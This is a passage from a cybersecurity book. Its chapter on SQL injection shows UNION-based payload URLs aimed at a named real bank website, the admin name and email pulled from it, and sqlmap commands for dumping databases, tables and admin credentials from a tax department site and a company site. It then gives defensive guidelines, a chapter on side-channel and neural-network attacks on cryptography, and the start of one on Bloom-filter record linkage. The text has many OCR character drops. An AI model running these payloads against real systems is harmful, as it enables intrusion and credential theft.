list contains ccb_admin, ccb_fnancial_status, ccb_loans, ccb_ news_events, ccb_ 
photo, ccb_products_album, and ccb_updates tables. From the browser view page 
source option, we can see the entire list. Te important admin table is highlighted 
in Figure 11.14. 

6. First, from the table collection we have taken the crucial “ccb_admin” table. To f nd 
the column names for this table, the URL becomes  www.cobanksouthcity.com/album. 
php?id=-38  UNION select 1,group_concat (column_name),3,4 from information_ 
schema.columns where table_name = “ccb_admin” --. Te URL output is shown in 
Figure 11.15, which shows the list of column names. One can see the entire list from 
the browser’s view page source option. Te list contains admin_id, admin_name, 
admin_email, admin_username, and admin_password columns. 

7. Next, to get the data, the “column_name” should be replaced by the listed columns; 
then the URL becomes www.cobank  southcity.com/album.php?id =-38 UNION select 
1,gro up_concat(admin_id, admin_name, admin_email,admin_username),3,4 from 
ccb_admin --. 

FIGURE 11.14 Vulnerable site showing table names. 

http://www.cobanksouthcity.com
http://www.cobanksouthcity.com
http://www.cobanksouthcity.com
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FIGURE 11.15 Vulnerable site showing column names. 

As given in  Figure 11.16, the SSL-enabled website can be hacked, and we can retrieve 
confdential data. Tis is personal data, where admin_id has the value “1”, “CBNadmin” 
is the admin name/username, and “ccbankhelpdesk@gmail.com” is the admin email 
id. Similarly, we can also fetch the database admin password with the column value 
“admin_password.” 

Manual SQLI execution steps require many attempts with little assurance of f nding 
vulnerability and retrieving the information. To enhance the penetration level, cover a 
broader scope, and improve efectiveness, one can use an automated technique. 

11.4.2.2 Automatic SQLI Execution Steps 
As the web and its security-related features increase, SQL attack complexity increases as 
well, which has led to the invention of several splendid SQLI automated tools, such as 
SQLNinja, jSQL Injection, BBQSQL, and SQLMap. Tese tools can accelerate the process 
and make a remote connection to execute commands on a website. Among these tools, 
SQLMAP is easy to handle, is highly confgurable, and has a remarkable compilation of 
payloads to discover SQLI vulnerabilities and expose database data. Tis tool is so power-
ful that it has various parameters and risk levels such that the website’s fle system can also 
be compromised. We have used the SQLMAP tool in this research [9]. SQLMAP is a free-
source attack tool developed using python language [10]. 

1. Fetching the information: SQLMAP has a command-based interface. Use the num-
ber of commands with diferent options to gather the information from the database 
and control the application server. Here, frst we need to check that the target site 
is vulnerable. Once the website is found to be vulnerable, further penetration is 
possible, especially with vulnerabilities present in SSL-enabled websites. One is a 
state-level income tax department site, and another is India’s fastest growing solar 
energy company’s site. Te following command is used to retrieve information like 

FIGURE 11.16 Fetched conf dential data. 

mailto:ccbankhelpdesk@gmail.com%E2%80%9D


       

 
 

  

    
 

   

       
   

        
 

   

    

    

166 ◾  Cyber Security Threats and Challenges 

database name, application server name, etc. Afer the URL is given to SQLMAP, 
it recognizes the parameters that give diferent output based on their dif erent val-
ues with diferent payloads. With the help of the diferent parameter values and 
payloads, it repeatedly executes the server’s HTTP requests to fetch the informa-
tion. Te command used to display server information is - sqlmap.py -u  www.website 
name/*.php?id=1.It is crucial to get the backend information, and this plays a vital 
role in harming the victim. We obtained this by using SQLMAP. T e information 
gained from the server is shown in  Figure 11.17  for one of the solar energy com-
pany’s websites. 

Similarly, we can obtain information from another website, that of a state-level income 
tax department administration. 

2. Exposé database information : Te command is sqlmap.py -u www.websitename/*. 
php?id=1 --dbs. Here, SQLMAP automatically injects a series of payloads into the 
input parameters. 

With the help of suitable payloads and input parameters, it could fetch available data-
bases, as shown in  Figures 11.18  and  11.19. 

FIGURE 11.17 Backend information from a solar energy company website. 

FIGURE 11.18 Database information from an income tax department website. 

FIGURE 11.19 Database information from a solar energy company website. 
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3. Exploring tables : Te database tables retrieved are shown in the following f gures. 
We need to monitor these databases for extracting the data. Afer successive scan-
ning, a large amount of crucial information, such as admin login details, admin pass-
words, usernames, passwords, users’ private data, users’ ip, users’ job details, ckey, 
and ecode, and much more essential information present in the various databases and 
tables are found. First, we selected one of the critical databases for further analysis, for 
example, “tnitaxg_inctaxmstn.” Te command used to expose the tables is- sqlmap. 
py  -u https://www.website name/*.php?id=1  -D dbname  --tables. Afer execution of 
this command, we retrieved 68 tables present in the corresponding database. T e 
table list is shown in Figure 11.20 . Similarly, we found 12 tables from another solar 
energy company website, which are displayed in  Figure 11.21. 

We took the sensitive “admin login” table for further analysis. 

4. Exploring column names in a table : Te admin login table would have signif cant 
credentials. Exploitation of this table gave us important information. We did that, 
and the command used for this is  sqlmap.py -u www.web  sitename/*.php?Id = 1 -D 
DBName -T TableName -- column. Tis command gives the columns present in the 

FIGURE 11.20 Tables retrieved from the income tax department website. 

FIGURE 11.21 Tables retrieved from the solar energy company website. 

https://www.websitename
http://www.websitename
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FIGURE 11.22 Columns from the income tax department website. 

FIGURE 11.23 Columns from the solar energy company website. 

FIGURE 11.24 Dumped values for admin name, id, and type columns. 

table. Te column names are displayed in  Figures 11.22  and  11.23 , respectively. Here, 
we obtained the columns’ information with their type and details. 

       5. Dumping column values: We can fnd information like admin name, id, admin pass-
word, and type from these tables. To retrieve those values, the command is sqlmap. 
py -u  www.website  name/*.php?id=1 -D database -T TableName -C columns --dump. T is 
command displays as well as dumps the data values into the f le. Te crucial infor-
mation from the income tax department site is shown in  Figure 11.24. T e admin 
password can be retrieved in a similar manner. In this way, a website can be breached 
and taken over by an intruder with SQLMAP. Undeniably, this is very frightening for 
the user and developer. 

11.5 SQLI ATTACK PREVENTIVE GUIDELINES 
We retrieved confdential data afer successfully launching attacks on secure, Indian pub-
lic and private sector websites. We have made these Indian organizations aware of such a 
dangerous vulnerability. Te collected data were analyzed to identify preventive guidelines 

http://www.websitename
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for web application administrators and developers. Tese guidelines would surely help to 
avoid such dangerous web vulnerability. 

11.5.1 Guidelines for Programmers 

1. Prepared statements (with parameterized queries): Developers should use prepared state-
ments with variable binding while writing the code query. 

2. Input data type validation: Te input data types must be validated correctly. On 
the server side, the wrong inputs will be strictly rejected if user input is incorrect. If 
required, counteract any negative words that might be embedded in the input string. 

3. Input variable length checking: Malevolent code strings beyond defnite length lim-
its must not be accepted. 

4. White list f ltering: During injection attacks, special characters are normally used. 
Such special characters need to be characterized by the developer. Tis approach is 
very applicable to well-structured data values. Te programmer should maintain a 
data pattern repository and admit only matching data patterns. 

5. Customized error message: Generally, programmers use system out messages to 
make debugging easy, but they should remove it, or they must update the messages in 
such a way that attackers cannot access crucial information. 

6. Use of bind variables in stored procedure like parameterized queries. 

7. Developers must understand the latest dynamic technologies theoretically as well as 
practically [11] to mitigate attack. 

8. Reduce attack surface: Developers must eliminate any unwanted database function-
ality that the application does not require. 

9. Rigorous testing: Produce extreme coverage test suites even at the time of unit test-
ing. Test each change in the code separately as well as systematically. 

11.5.2 Guidelines for Administrators 

1. Smart confguration of databases: 

a. Maintain diverse users with diferent privileges and detach database connections 
for programs to read or write into databases. 

b. Do not use common or public database accounts between diferent websites or 
applications. 

c. Use standard practices to diminish the application’s permissions at runtime so 
that data can be updatable but the table structures cannot. 

d. Do not grant access to the table; the designer must use views. Create the views 
with a hash value of the sensitive feld (like a password). 

e. Keep secrets with a secret. 
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2. Apply patches and updates as soon as possible 

3. Update the application account passwords regularly 

4. Consider outsourcing the authentication workf ow (i.e., third-party authentication) 

5. Remove sensitive data when they are no longer of use 
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 12.1 INTRODUCTION  
Cr yptography is an age-old concept that dates back almost 4,000 years ago with the advent 
of hieroglyphics. T e Egyptians used hieroglyphics, which were coded languages, to com-
municate with one another. T e Romans used to send encrypted text by rearranging the 
position of the characters of the message. As civilizations began evolving, the need for sur-

 

vival and existence was felt. As a result, tribes started communicating within themselves 
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using these coded languages to keep the messages secret. Later on, with the advent of tech-
nology, some better and more sophisticated encryption techniques began to surface, start-
ing with the classical Caesar cipher, which was devised by the Romans and was based on 
a simple strategy of substituting any character of the plaintext with some other letter by 
shifing the characters by a fxed interval; the most common interval was three. T is fun-
damental concept of cryptography has been further improved by many researchers around 
the globe, and continuous research and study are still ongoing to improve the existing sys-
tems to make them more robust and secure against attacks. An acceleration in the devel-
opment of traditional cryptosystems was seen during World War II, when every nation 
was trying to outpower its adversaries in terms of intelligence and strategy. Tis led to the 
development of highly mathematical and robust cryptosystems, which were much better 
than the traditional cryptosystems. 

With the advent of technology, methods for breaking these ciphers also evolved dras-
tically, posing an immense threat to the existing backbone of information security.  
Sophisticated methods such as side channel attacks and neural network–based new age 
sofware implementation pose a serious threat to these systems. We are going to discuss the 
efects of these two methods specifcally in this chapter. 

12.2 ATTACKS ON MODERN CRYPTOSYSTEMS 
To further discuss modern cryptosystems, let us look at an application domain and discuss 
the overall security architecture with respect to this domain, that is, military-grade encryp-
tion or military standard security protection. We all know that a nation spends a considerable 
amount of its budget on its military intelligence backbone, not just to spy on its not-so-friendly 
counterparts but also to defend itself against any unlawful eavesdropping or espionage. T is 
requires a sound security backbone using communication that can be carried out ef  ciently 
and securely. Keeping this in mind, many researchers have tried their best and developed 
many secure algorithms, two of which are still in the fray because of their inherent security 
structure and robustness. In this section, we are going to examine two cryptosystems and 
attacks targeted toward them: Rivest Shamir Adleman (RSA), which is a public key cryptosys-
tem, and Advanced Encryption Standard (AES), which is a private key cryptosystem. 

12.2.1 Attacks on the RSA Algorithm 

 Te RSA cryptosystem is a popular, commercially used, public key cryptosystem. It estab-
lishes a method for ensuring the privacy, integrity, authenticity, and non-repudiation of 
electronic communications and data storage [1]. T e difculty of factoring large integers 
that are the product of two large prime numbers is the source of RSA’s security. Even with 
today’s supercomputers, multiplying these two numbers is easy, but calculating the origi-
nal prime numbers from the sum, or factoring, is considered infeasible due to the amount 
of time it would take. 

12.2.1.1 Side Channel Attack on the RSA Algorithm 
Although the RSA algorithm is one of the most secure asymmetric key cryptosystems, 
because of its popularity it has attracted many possible attacks, such as plaintext attack, 
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chosen ciphertext attack, and factorization attack [3]. In this chapter, we will focus on one 
such attack called the side channel attack, as it has achieved greater success against RSA’s 
security. A side channel attack (SCA) [4] is used to extract secret data from a secure device, 
such as a smartcard, integrated circuits, or computers, using a non-intrusive method. In 
these attacks, the attacker studies the power consumption of these cryptographic hardware 
devices. Tese attacks depend on the device’s basic physical properties, which are regulated 
by laws of physics. According to Ohm’s Law, V = IR. By carefully measuring the electric 
currents, an attacker can gather useful intelligence about the cryptographic information 
being transferred. 

12.2.1.2 Analysis of Side Channel Attack on the RSA Algorithm 
 12.2.1.2.1 To Recover the Public Keys According to work done by Tomas Finke, Max 
Gebhardt, and Werner Schindler [5], the power spectral information can be used to gather 
a lot of data and launch an attack on the implementation of RSA, rather than on the algo-
rithm itself. Similarly, a relatively modern attack by LiveOverfow [6] based on analyzing 
the power spectral information is illustrated in the next section. As we know, the RSA 
algorithm is based on the discrete log problem (DLP), which can be shown like this: 

CT = (num)exp mod  n ( 12.2.1 ) 

where CT = ciphertext, num = plaintext, exp = public key, and  n = modulus. According 
to the square-and-multiply method of exponentiation [7], any large exponent value can be 
easily broken down into a series of square-and-multiply operations, in which each square-
and-multiply operation leaves diferent traces in the power spectral graph, as shown in 
Figure 12.1. Figure 12.1  clearly depicts the nature of the waveform during a square opera-
tion and a multiply operation. Both seem to be strikingly diferent in nature. Each 0 bit in 
the exponent corresponds to a squaring operation only, whereas each 1 bit corresponds to 
both a square and a multiply operation. According to the work done by Live Overf ow [6], 
the following pseudocode will represent the overall scenario as follows: 

CT = (num)exp mod n

 Take r = 1 

for each  bit of  exp: 

r= (r*r  ) % n

 if bit == 1: 

r= (r*num) % n

 return r 
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FIGURE 12.1 Power spectral analysis of the RSA algorithm. 

So, if the power information is captured accurately by connecting an oscilloscope to 
the same power board as that on which the RSA implementation is running, a sequence of 
0’s and 1’s could be generated that will lead to discovery of the RSA public key with much 
better accuracy. 

 12.2.1.2.2 To Recover the Private Keys  Te Genkin et al. [8] were able to extract complete 
4096-bit RSA decryption keys from laptop computers within an hour by using the sound 
emitted by the device during the decryption of some chosen ciphertexts as reported in  
their paper “RSA Key Extraction through Low-Bandwidth Acoustic Cryptanalysis.” T ey 
demonstrated that such attacks can be carried out using a simple cell phone placed next to 
the device or a more sensitive microphone placed 4 meters away in an experiment. 

12.2.2 Attacks on the AES Algorithm 

 Te AES algorithm could be easily summarized in the following steps [9]: 

1. From the cipher key, create a series of round keys. 

2. Load the block data into the state array (plaintext). 

3. In the starting state sequence, add the initial round key. 

4. Go through  n − 1 rounds of state manipulation. 

5. Complete the  nth and fnal state manipulation stage. 

6. Save the encrypted data as the fnal state array (ciphertext). 

It is one of the most secure cryptographic algorithms as of this writing [10]. AES of  cially 
replaced data encryption standard and became a standard encryption technique adopted 
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by the US government in 2002. Because of its inherently complex mathematics, it is very 
dif  cult to the security of AES, considering the computing power that we have presently. 
Besides, let us think about a decade or two in the future. We cannot be sure about the com-
puting power or resources that will be available at that time, so we must always try to look 
for some better alternatives ahead of time to keep our data secure. Just think of technolo-
gies such as quantum computing. With IBM promising to launch a 1,000-qubit quantum 
computer by 2023 [11], just imagine how quickly the technology is evolving and how easy 
it might become to perform brute force attacks involving millions of computations. All of 
those algorithms that rely heavily on the assumption that no computer as of now is in a 
position to complete the factorization of large prime numbers and eventually break it will 
be at risk because quantum computers will have a large enough memory to store the results 
of these intermediate factorization steps and help to break the keys. Algorithms such as 
RSA, SHA, and MD5 will be at risk. 

12.2.2.1 Analysis of Side Channel Attack on the AES Algorithm 
AES is a symmetric key approach, which always leaves some room for eavesdropping. 
Human interference may lead to the leakage of symmetric keys. Implementations of the 
AES algorithm have been shown to leak knowledge about the encryption mechanism [12] 
when the algorithm is run, according to studies. Cryptography alone would not be secure 
enough if we think about communicating in the insecure network in the future. Let us talk 
about one such attack on AES. 

 Te side channel attack (SCA) involves attacking the implementation of AES rather 
than the algorithm itself, and it has been successfully used to recover the encryption key 
from an AES-enabled computer [13]. Tis implementation demonstrated an attack using 
a hardware setup and was able to guess 1 byte out of the 16-byte encryption key. A large 
number of traces are needed for training and testing so that the network can f lter out 
noise. ChipWhisperer, a toolchain for embedded hardware security research [14], was used 
to collect these traces. It was found that certain labels were much easier to identify than 
others. While model X8 could not recover the entire key using Xmega 1 traces, model T57 
could do so. T57 could not reliably recover the entire key using fewer traces than CPA, 
however, requiring more than 50 traces on average. 

12.2.2.2 Analysis of the Results Obtained 
According to the work done by Ors et al. [13], a complete private key byte could be guessed 
using the implementation setup by using training data obtained from power analysis, but a 
lot more work could be done if we fne-tune certain parameters for better model accuracy 
or try switching the hardware setup. T e frst trace success rates were 2.25% for X8 and 
14.14% for T57. Although AES is not going to be obsolete in the near future, we still need 
to be sure enough when it comes to data security. In the next few sections, we are going to 
learn more about the other alternatives and also about some cutting edge technologies that 
might not completely replace the existing algorithms, but they will defnitely improve their 
security by manyfold by complementing them. 
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12.3 NEW AGE CRYPTOSYSTEMS—QUANTUM CRYPTOGRAPHY 
In this section, we are going to focus on the new age modern cryptographic systems that 
might replace or complement the existing cryptosystems to improve the overall security 
of data by manyfold. We are going to focus on advancements in quantum computing and 
quantum cryptography and how they can make or break any security implementation. 

Quantum computers use quantum phenomena such as superposition and entanglement 
to perform computations [15] that are quite a bit faster than normal computers or even 
present-day supercomputers. Quantum cryptography, on the other hand, is the study of 
using photons’ quantum mechanical properties to perform cryptographic tasks, including 
key generation and distribution [16]. 

Quantum cryptography is becoming quite relevant to our everyday lives because 
of its inherent ways of safeguarding our vital data while we conduct business online, 
as it renders the information unhackable by transmitting it in a way that cannot be 
hacked [17]. Quantum key distribution (QKD) is a method of sending encryption keys 
that relies on certain unusual subatomic particle behaviors and is, at least in principle, 
totally unhackable [18]. 

Photons are sent one by one via a f ber-optic line in the land-based version of QKD. If 
someone is listening in, the polarization of the photons will be disturbed, implying that the 
message is not secure, according to quantum physics principles. Photons have a property 
called “spin,” which makes them change their orientation if they are subjected to a f lter. 
So even if an eavesdropper tries to guess the key one photon bit at a time, it will change 
the orientation of the photon bit, notifying the sender and the receiver and revealing the 
attack attempt.

 Te need for unbreakable encryption is right in front of our eyes. Te credibility of 
encrypted data is now in jeopardy, with the advent of quantum computers looming on the 
horizon. Fortunately, quantum cryptography, in the form of QKD, provides the solution 
we need to protect our data for the foreseeable future—all based on the complex concepts 
of quantum mechanics. 

12.4 NEW AGE CRYPTOSYSTEMS—DEEP 
LEARNING–BASED CRYPTOSYSTEMS 

So far, we have seen the various ways by which we can protect our data on the most 
insecure communication medium that is the internet, but are we really safe? Are our 
data really secure on the internet? Can we be fully sure that no one else apart from 
the intended users can read the contents of the messages? Te common answer to all  
of these questions is NO. As the internet is expanding its reach, so is the proliferation 
of sophisticated tools for which the bad guys are always on the lookout to cause harm 
to our sensitive information. With the advent of machine learning, deep learning, and 
artifcial intelligence (AI) based technologies, the bad guys have learned how to break a 
cryptosystem simply by training a computer model and subjecting it to the real-life sce-
narios of cryptanalysis. Te model learns the environment on its own and f ne-tunes it 
to develop a better version of itself.  Figure 12.2  depicts such a scenario in which, instead 
of a fxed algorithm for encryption and decryption, the sender and receiver are trusting 
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FIGURE 12.2 Architecture of an encryption model based on neural networks 
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the randomness by allowing the neural networks to make their own set of algorithms to 
communicate with each other. 

In this section, we are going to examine neural networks and adversarial networks, 
which are the new age intelligent systems still in their initial phase that can be used to cre-
ate secured systems that can protect our data on their own by learning the environment 
and the attack vectors being used by the bad guys. Te next section, 12.4.1, is dedicated to 
encryption using neural networks, and the successive section will deal with deep learning 
applications in the form of adversarial networks to protect our data. 

12.4.1 Encryption Using Neural Networks 

 Tere are various instances of the applications of machine learning and neural networks to 
protect our data. We will look into one of the aspects in which an auto-associative memory 
model [19] is used to provide security to the data and examine how ef  cient these systems 
could turn out to be if combined with the existing encryption models. 

In their research paper “Encryption Algorithm Based on Neural Network” [20], Saraswat 
et al. have discussed how the concept of an auto-associative memory model could be used 
to do a completely diferent task, such as encrypting text. A single-layer neural network 
with the same input training vector and output goal vector is known as an auto-associative 
memory model, as shown in Figure 12.3. Te auto-associative memory network model in 

FIGURE 12.3 Architecture of auto-associative memory networks. 
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Figure 12.3  takes the inputs and produces outputs of the same size; hence, the output gen-
erated will be dif  cult to dif erentiate.

 Te training of auto-associative neural networks is widely performed using Hebb’s rule 
[21]. It was frst articulated in 1949 by Donald Hebb. According to Hebb, the human brain 
learns by altering the synaptic distance between neurons. Te Hebb rule [22, 23] states that 
weights in neural networks increase as the product of the input and the learning signal 
increases. Weights are updated as follows: 

Wij (new) =  Wij (old) +  Xi *Yj (12.4.1 ) 

 Te algorithm makes use of a secret key that is only understood by the sender and the 
recipient. Because the training and testing algorithms of auto-associative memory net-
works use bipolar input rather than binary input, the algorithm operates on bipolar input 
rather than binary input. Te private key  K is a  M*N matrix, with  M equaling 2*N and N 
equaling 4, 6, 8, 10, and so on. Te even columns of the key matrix  K (the second, fourth, 
sixth, and so on) contain only 0’s; these are known as primary columns. T e remaining 
columns can be any combination of 1 and −1. Te maximum size of plaintext block  P that 
the algorithm can encrypt at one time is  N2. Te algorithm works as follows: 

Replace the 0’s in the key matrix’s primary columns with plaintext bits and call the new 
matrix  S. 

• Now, as follows, fnd the weight matrix  W: ST*S = W 

• Te ciphertext is the weight matrix W. 

• Te weight matrix should be sent to the receiver. 

Calculate the matrix  C as follows upon receiving the weight matrix W: C = W*K. On matrix 
C, use the activation function of an auto-associative memory network: 

C [i,j ] = {+1 if  C [i,j ] > 0},  C [i,j ] = {−1 if  C [i,j ] <= 0} ( 12.4.2 ) 

 Te use of neural networks in cryptography is gaining popularity at a rapid rate. T e 
literature contains several neuro-crypto algorithms suggested by researchers. T e auto-
associative memory network is used in this study to encrypt plaintext into a shape that is 
separate from the previous one. Te algorithm is easy to implement and provides faster 
encryption and decryption. Te overall fow of the process is shown in the diagram (Figure 
12.3). In the next section, we are going to examine one more aspect of deep learning, called 
adversarial networks, which we can use to protect our data without any human interven-
tion, that is, an intelligent system. 

12.4.2 Encryption Using Generative Adversarial Neural Networks (GANs) 

Generative adversarial networks (GANs) are algorithmic architectures that pit two neural net-
works against each other (hence the term “adversarial”) to produce fresh, synthetic data that 
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can pass for real data. Tey are commonly used in the creation of images, videos, and voice 
recordings [24]. In 2014, Ian Goodfellow and other University of Montreal researchers, includ-
ing Yoshua Bengio, published a paper that introduced GANs [25]. Yann LeCun, Facebook’s AI 
research chief, called adversarial training “the most fascinating concept in machine learning 
in the last ten years” [26]. Because GANs can learn to imitate any data delivery, they have 
enormous potential for both good and bad. In any domain, GANs can be taught to construct 
worlds that are eerily close to our own: images, music, voice, and prose. Tey are, in a way, 
robot musicians, and their work is amazing—even poignant. Tey can, however, be used to 
create fake media material, and they are the technology behind deepfakes [27]. 

GAN’s operation can be summarized as follows. Te discriminator decides whether 
each instance of data that it evaluates belongs to the current training data set, while the 
generator creates new data instances. Figure 12.4 depicts this behavior ef ectively. T e gen-
erator will keep on generating samples from a random set of data and send them to the 
discriminator for access to the system, and the discriminator compares the input at its end 
with a reference model of real data samples. Based on the result of the comparison, feed-
back will be sent to the generator as well as to the discriminator. Tis process continues 
until either of the two machines or models wins. 

 Tis beautiful concept is expanded in the research work of Martín and his co-author 
[28], in which instead of a generator and a discriminator, as shown in Figure 12.5, they 
show three neural networks, Alice, Bob, and Eve. Alice and Bob are the networks willing to 

FIGURE 12.4 Basic model of a generative adversarial network. 

FIGURE 12.5 Alice, Bob, and Eve with a symmetric cryptosystem. 
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communicate with each other, and Eve is the eavesdropper trying to sabotage the commu-
nication. Tese three neural networks have no prior information about the keys and algo-
rithms to be used for encrypting the message. Alice will be assuming the role of the sender, 
and Bob will try to reproduce the same message at the receiving end by eventually learning 
the pattern through a series of training steps. Te training uses minibatches. T is training 
alternates between Alice/Bob and Eve. Eve, without much prior information, would try to 
recover as much of the data as deemed possible from the ciphertext during transit. Loss 
functions are set for Eve and Bob. Tese are used to calculate the reconstruction errors for 
Eve and Bob. Our aim is to maximize Eve’s reconstruction error and keep Bob’s error to a 
minimum. Eve’s goal is pretty simple and straightforward. She would like to capture the 
packets and recreate the plaintext with minimum error. Bob’s goal is the same, but along 
with it he also needs to make sure that he is always one step ahead of the attacker Eve. At 
most 0.05 bit of reconstruction error is permitted. Te better the job Eve does in recon-
structing the plaintext, the larger Alice’s and Bob’s reconstruction errors. So, whenever 
Bob notices that Eve is now successfully predicting a few bits of the key, he should f ne-tune 
his model’s parameters so as to make the guessing on Eve’s part really difcult. As a result, 
there is always a fght between the two adversaries to come up with a much better version 
in every iteration. Tis is what leads to the improvements of the model in quick succession. 

 Te neural network architecture is made up of a frst, fully connected (FC) layer with the 
same number of outputs as inputs. Tis FC layer receives the plaintext and key bits. T is layer 
allows—but does not require—mixing of the key and plaintext bits, as each output bit can be 
a linear combination of all of the input bits. Te FC layer is followed by a series of convolu-
tional layers, the last of which generates a plaintext- or ciphertext-sized output. T ese convo-
lutional layers learn to apply a function to groups of bits mixed by the previous layer without 
having any prior knowledge of the function. Te property locality—that is, which bits to 
combine—is wanted to be a learned property rather than a prespecifed one for neural cryp-
tography. Finally, neural networks can be useful for both cryptographic security and attacks. 

Although it seems unlikely that neural networks would ever be good at cryptanalysis, 
they may be very useful in deciphering metadata. 

12.4.2.1 Results Analysis 
According to the work done by the authors of reference 27, not only were the abeloss and 
eveloss values during preparation tracked but Bob’s ability to decode Alice’s messages were also 
tracked. All three loss values start at 8 bits of random guesses, implying that neither Eve nor 
Bob outperforms in random guessing. Eve’s failure accelerates up to the point at which Alice 
is able to fgure out an encryption scheme that Bob can decipher but that deceives Eve. Eve’s 
loss does not return to 8, indicating that she does marginally better than random guessing.

 Te following was discovered afer the implementation was performed by the Google 
brain team [28] afer testing Bob and Eve on 10,000 random messages (encrypted with 
randomly selected keys): 

Bob % correct: 89.28% 

Eve % correct: 0.21% 
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Bob was able to decrypt just under 90% of the messages he received, while Eve was unable 
to retrieve the entire message in its current state. Eve’s performance would increase if the 
Alice-Bob model were frozen and we continued to train her. When the trained version 
of Alice-Bob is held constant, however, we see that Eve’s advantage does not change. T e 
loss is relatively constant, implying that Alice’s encryption algorithm does not need to be 
changed on a regular basis. 

12.4.2.2 Scope of Improvement 
Although this method seems to be very efective against beating the best version of the 
attacker, it was also tested on a comparatively small batch. More work can be focused in 
this direction; by tweaking the hyperparameters, such as the learning rate, or by using a 
diferent minibatch setting, we may get even better results. Another challenge in front of 
us is that we also need to make sure that the neural network model does not overdo the 
learning process, or it may cause 100% accuracy for Bob, which is otherwise considered to 
be the best possible output, but in this case the attacker might try to invert all of the bits in 
the next epoch and guess the correct key bits very easily. So it is very crucial to maintain 
the accuracy between 95% and 99% and avoid overf tting. Tis could be done by exploring 
diferent neural network models apart from just artifcial neural networks. 

12.5 CONCLUSION 
 Te security of data fowing across the internet has been a hot topic of debate for a long 
time. Te internet is considered to be the most insecure medium of communication, but 
because of its inherent nature and its ability to connect every single person on the globe, 
it has found many users for personal as well as commercial use. Multinational compa-
nies share their data through the internet. Organizations store their enterprise data on the 
cloud servers. Individuals share instant messages and their whereabouts using the internet. 
With so much expanded use worldwide, the need to secure the data has been fueled con-
siderably. Te existing solutions in the form of cryptographic algorithms and public key 
cryptosystems have been doing their jobs pretty well for a long time now, but we must keep 
in mind the constant developments in infrastructure and computer hardware; quantum 
computers with much better qubit power would take hardly few minutes to crack open 
the most secure algorithms we have right now. So, we need to always be one step ahead of 
the bad guys and beat them every single time. Tis could be done by adopting intelligent 
systems based on principles of neural networks, artif cial intelligence, and deep learning. 
Tis will help us not only to secure our data but also to make sure that we stay ahead of all 
of our adversaries, every time. 
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 13.1 INTRODUCTION  
T oday, a huge amount of data is being generated and stored in multiple databases. As the  

 

necessity of data science and analytics has increased, so has record linkage in data integra-
tion for matching records belonging to same person in various data sets. However, the real-
world data containing persons’ names include spelling mistakes, duplicates, and erroneous 
representations. Moreover, because the databases contain personal and sensitive informa-
tion, it is crucial to securely match and link the records, referred to as privacy-preserving 
record linkage (PPRL). Hence, the records are encoded and sent for PPRL. Tus, the dif-
ferent similarity measures are useful for comparing erroneous and encoded names across 

record linkage include healthcare, banking, e-commerce, the census, and so on [1–7]. 
databases. Te various applications involving the use of similarity measures in secure 

 Te Bloom flter–based encoding mechanism is a suitable choice for encoding names 
and approximate matching in PPRL. However, the compatibility of similarity measures 
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with Bloom flter encryption techniques for PPRL is necessary to achieve linkage accuracy. 
Hence, accuracy is the important issue for PPRL. Terefore, in this chapter, an overview of 
diferent similarity measures for name matching in PPRL is discussed, and they are ana-
lyzed in terms of their accuracy [8–15]. 

 Tis chapter initially provides an overview of the importance of similarity measures for 
the name matching task in PPRL. Related work on PPRL techniques and similarity mea-
sures compatible with them are discussed in Section 13.2. In Section 13.3, the similarity 
measures suitable for PPRL with Bloom flter encryption mechanisms are identif ed. In 
Section 13.4, we analyze the token-based similarity measures for cellular automata (CA) 
based PPRL in terms of linkage accuracy. We then conclude this chapter with brief discus-
sion of the topic covered. 

13.2 REVIEW OF THE LITERATURE 
Nowadays, several secure record linkage techniques have adopted exact and approximate 
matching techniques with similarity measures to address the linkage accuracy problem. Due 
to the presence of errors among diferent data sets, the use of exact matching may reduce 
accuracy in PPRL. So, approximate matching is necessary for PPRL applications. T us, the 
similarity measures used in record linkage act as comparison methods for identifying simi-
lar data values in multiple felds. Also, the various similarity measures play a crucial role in 
comparing encoded records and achieving linkage accuracy in PPRL scenarios [16–27]. 

In recent times, privacy-preserving record linkage techniques have gained a lot of atten-
tion for secure data integration. Tis matching technique incorporates similarity measures 
to fnd the similarity among the encrypted records for PPRL. Te prominent PPRL tech-
nique includes Bloom flter encoding for approximate matching. 

13.2.1 Bloom Filter Encoding

 Te Bloom flter is a bit array of length l that is used to encode attribute values. It is initial-
ized to 0. Te attributes in databases containing strings/numbers are f rst converted into 
q-grams, where  q can take values between 1 and  n. Further, the cryptographic hash func-
tions such as SHA-512 and SHA256 are applied on these  q -grams. Tis will result in hash
values, and the corresponding bits are set to 1 in the Bloom flter of respective attribute
values [8, 13–17, 16].

For instance, as shown in  Figure 13.1, the 2-gram “jo” from string S1 = “john” and string 
S2 = “jon” yields the value 3 for the frst hash function and 8 for the second hash function. 
Te bits on positions 3 and 8 are set to 1 in both Bloom f lters of length 14, representing 
strings S1 and S2, respectively. Similarly, all of the  q-grams of strings S1 and S2 are encoded 
into their respective Bloom flters [2, 21]. Te matching between two Bloom flters is per-
formed using a similarity metric like the Dice coef  cient: 

(13.2.1. 1)

 where a and  b are the encryptions using Bloom flters for strings S1 and S2, respectively. 



 

 FIGURE 13.2 Replacement rules for rule 90. (Courtesy: Ref. [13].) 
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 As shown in  Figure 13.1, t he number of 1-bits common in two Bloom f lters a   and  b   
(a   ∩   b ) is 7, the number of 1-bits set in Bloom f lter  a    (|a |) is 10, and the number of 1-bits set 
in Bloom f lter  b    (|b| ) is 7, resulting in a similarity value of 0.82. 

 T e value obtained as a result of the similarity calculation is compared to the user-
def ned threshold to consider whether the two strings are a match or non-match. 

 B ecause the Bloom f lter encryption technique was vulnerable to a re-identif cation  
attack, the use of hardened Bloom f lter techniques has been suggested by researchers for 
approximate matching for privacy-preserving record linkage [4, 5, 9–12]. T e hardened 
Bloom f lter–based PPRL techniques include standard/basic Bloom f lter encoding, ran-
dom bits, XOR-folding, salting, balanced Bloom f lter, and cellular automata. T e recent 
hardened Bloom f lter technique is based on cellular automata. 

 T e cellular automata (CA) technique transforms bit patterns across Bloom f lters using 
Wolfram rule 90.  Figure 13.2  shows the replacement rules for Wolfram rule 90, in which 
the nonf lled boxes denote an empty (0) bit position and black boxes correspond to a bit 

FIGURE 13.1  Example of Bloom f lter encoding. (Courtesy: Refs. [2] and [21].) 
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position with a value of 1. Rule 90 applies transformations depending on the neighboring 
states (1 or 0) of a Bloom flter to increase the security [13]. 

 Te CA-based hardening techniques enforce increased security while maintaining link-
age accuracy [13]. 

13.2.2 Similarity Measures 

 Te similarity measures are the main component in the process of record matching and 
linkage in data integration. Tey are used for the identifcation of duplicates among the 
multiple databases. Tey act as a comparison function in the record matching step of PPRL. 
